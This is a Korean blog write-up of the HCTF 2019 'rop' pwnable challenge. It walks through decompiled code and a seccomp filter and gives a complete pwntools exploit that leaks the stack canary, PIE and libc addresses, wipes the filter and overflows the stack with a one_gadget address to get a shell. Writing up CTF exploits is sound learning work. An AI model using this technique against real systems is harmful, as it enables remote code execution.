SDJ( 수돈재 아님 ㅎ )

HCTF 2019 - rop 본문

write-up/pwnable

HCTF 2019 - rop

ShinDongJun 2019. 11. 21. 17:05

한양대학교 Open CTF이길래 재미삼아 도전해 봤다.

 

아름답다.

제공해준 libc파일이 2.27이라서 우분투 18.04에서 풀었다.

 

 

main함수는 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rdx
  int v5; // [rsp+8h] [rbp-118h]
  int buf; // [rsp+Ch] [rbp-114h]
  char v7; // [rsp+10h] [rbp-110h]
  unsigned __int64 v8; // [rsp+118h] [rbp-8h]
 
  v8 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  v5 = 0;
  buf = 0;
  v3 = &v7;
  memset(&v7, 0, 0x100uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          __isoc99_scanf("%d"&v5, v3);
          if ( v5 != 1 )
            break;
          read(0, ::buf, buf);
        }
        if ( v5 > 1 )
          break;
        if ( v5 )
          goto LABEL_13;
        read(0&buf, 4uLL);
      }
      if ( v5 != 2 )
        break;
      write(1&v7, buf);
    }
    if ( v5 == 3 )
      break;
LABEL_13:
    puts("Invalid");
  }
  read(0&v7, buf);
  install_syscall_filter();
  return 0;
}

 

 

바이너리를 실행하면 출력같은건 없어서...

임의로 생각한 메뉴를 적어봤다.

 

0 -> buf에 4byte만큼 입력 : read(0, &buf, 4);

1 -> 전역변수 BUF에 buf의 값만큼 입력 : read(0, &BUF, buf);

2 -> v7에 있는 값을 buf의 값만큼 출력 : write(1, &v7, buf);

3 -> while 탈출

 

이렇게 메뉴가 있고,

main함수가 끝나기 전에 read(0, &v7, buf)를 거치고

install_syscall_filter();을 거친 뒤에 꺼진다.

 

install_syscall_filter함수를 보면

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 install_syscall_filter()
{
  __int16 v1; // [rsp+0h] [rbp-20h]
  char *v2; // [rsp+8h] [rbp-18h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]
 
  v3 = __readfsqword(0x28u);
  v1 = 13;
  v2 = filter;
  if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
  {
    perror("prctl(NO_NEW_PRIVS)");
  }
  else
  {
    if ( !prctl(22, 2LL, &v1) )
      return 0LL;
    perror("prctl(SECCOMP)");
  }
  if ( *__errno_location() == 22 )
    fwrite("SECCOMP_FILTER is not available. :(\n", 1uLL, 0x24uLL, stderr);
  return 1LL;
}

여기서 v2에 filter의 주소를 넣어, 우리가 부르는 syscall의 번호와 filter에 존재하는 값이 같으면 SIGSYS를 뿜으며 죽는다. 이 때 filter의 주소는 bss에 존재한다.

SIGSYS란 불량 시스템을 호출할 때 뿜는 유닉스 신호이다.

따라서 우리는 이 SIGSYS를 우회할 수 있는 선에 맞춰 exploit을 진행해야 한다.

 

 

그렇다면 exploit의 흐름은 다음과 같다.

 

1) 0번 메뉴를 실행 -> buf에 큰 수를 넣어줌

2) 1번 메뉴를 실행 -> 전역변수 BUF에 buf만큼 입력을 함으로써 filter를 전부 초기화 시킴

3) 2번 메뉴를 실행 -> buf가 아주 큰 숫자기 때문에 스택 밖 주소를 leak함.

4) 3번 메뉴를 실행 -> while 탈출

5) main이 끝나기 전 read에서 rop_payload를 작성

6) filter을 우회함과 동시에 get shell

 

 

exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
 
ret = 0x806
pop_rdi = 0xcb3
pop_rsi_r15 = 0xcb1
puts_got = 0x0000000000201F90
bss = 0x0000000000202109+0x200
puts_plt = 0x0000000000000830
read_plt = 0x0000000000000860
 
= 0.1
#p = process('./rop')
= remote("prob.hctf.icewall.org"32002)
def choice(idx):
    p.sendline(str(idx))
 
choice(0)
sleep(t)
p.send(p32(0x300))
sleep(t)
choice(1)
sleep(t)
p.send('\x00'*180)
sleep(t)
choice(2)
 
p.recv(0x100)
stack_leak = u64(p.recv(8))
canary = u64(p.recv(8))
PIE_leak = u64(p.recv(8))
PIE_base = PIE_leak - 3152
print "stack_leak : " + hex(stack_leak)
print "canary : " + hex(canary)
print "PIE_leak : " + hex(PIE_leak)
print "PIE_base : " + hex(PIE_base)
 
libc_leak = u64(p.recv(8))
libc_base = libc_leak - 138135
print "libc_leak : " + hex(libc_leak)
print "libc_base : " + hex(libc_base)
 
system = libc_base + 0x4f440
read = libc_base + 0x110070
print "system : " + hex(system)
print "read : " + hex(read)
 
p.recv()
one = [0x4f2c50x4f3220x10a38c]
 
one_gadget = libc_base + one[1]
 
sleep(t)
choice(3)
sleep(t)
 
pay = ''
pay += 'a'*0x108
pay += p64(canary)
pay += 'X'*8
pay += p64(one_gadget)
p.send(pay)
 
p.interactive()

 

 

 

flag : HCTF{Seccomp_is_Secure_computing_Mode_:)}

'write-up > pwnable' 카테고리의 다른 글

WhiteHat Grand Prix 06 – Quals 2019 - loop  (0) 2020.01.05
해킹캠프 2019 [겨울] - orange  (0) 2019.11.30
BackdoorCTF 2019 - babytcache  (0) 2019.11.12
facebook ctf 2019 - otp-server  (0) 2019.11.04
HSCTF 2019 - aria writer v3  (0) 2019.10.08
Comments